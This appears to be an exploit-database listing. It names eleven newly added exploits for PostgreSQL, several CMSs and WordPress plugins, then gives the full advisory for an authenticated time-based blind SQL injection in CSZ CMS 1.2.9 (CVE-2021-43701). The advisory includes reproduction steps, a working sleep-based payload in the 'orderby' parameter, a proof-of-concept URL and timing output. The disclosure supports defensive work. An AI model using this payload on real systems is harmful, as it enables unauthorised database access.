
11 changes to exploits/shellcodes PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE) ImpressCMS 1.4.2 - Remote Code Execution (RCE) Atom CMS 2.0 - Remote Code Execution (RCE) Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF) WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion WordPress Plugin admin-word-count-column 2.2 - Local File Read CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated) WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
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# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated)
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# Date: 2021-04-14
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# Exploit Author: Rahad Chowdhury
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# Vendor Homepage: https://www.cszcms.com/
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# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.9.zip
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# Version: 1.2.9
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# Tested on: Windows 10, Kali Linux, PHP 7.4.16, Apache 2.4.46
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# CVE: CVE-2021-43701
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*Steps to Reproduce:*
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1. First login to your Admin Panel
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2. then go to "General Menu > CSV Export / Import".
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3. open burp site and configure with browser.
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4. then select any "Table Name" > Select "Fields Select" and Select "Sort by"
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5. Now click "Export to CSV" and intercept with burp suite
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6. "fieldS[]" or "orderby" parameter is vulnerable. Let's try to inject Blind SQL Injection using this query "(select(0)from(select(sleep(10)))a)" in "orderby" parameter.
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*Proof of Concept:*
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http://127.0.0.1/CSZCMS/admin/export/getcsv/article_db?fieldS%5B%5D=article_db_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV
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*Output:*
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By issuing sleep(0) response will be delayed to 0 seconds.
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By issuing sleep(1) response will be delayed to 1 seconds.
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By issuing sleep(5) response will be delayed to 5 seconds.
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By issuing sleep(10) response will be delayed to 10 seconds |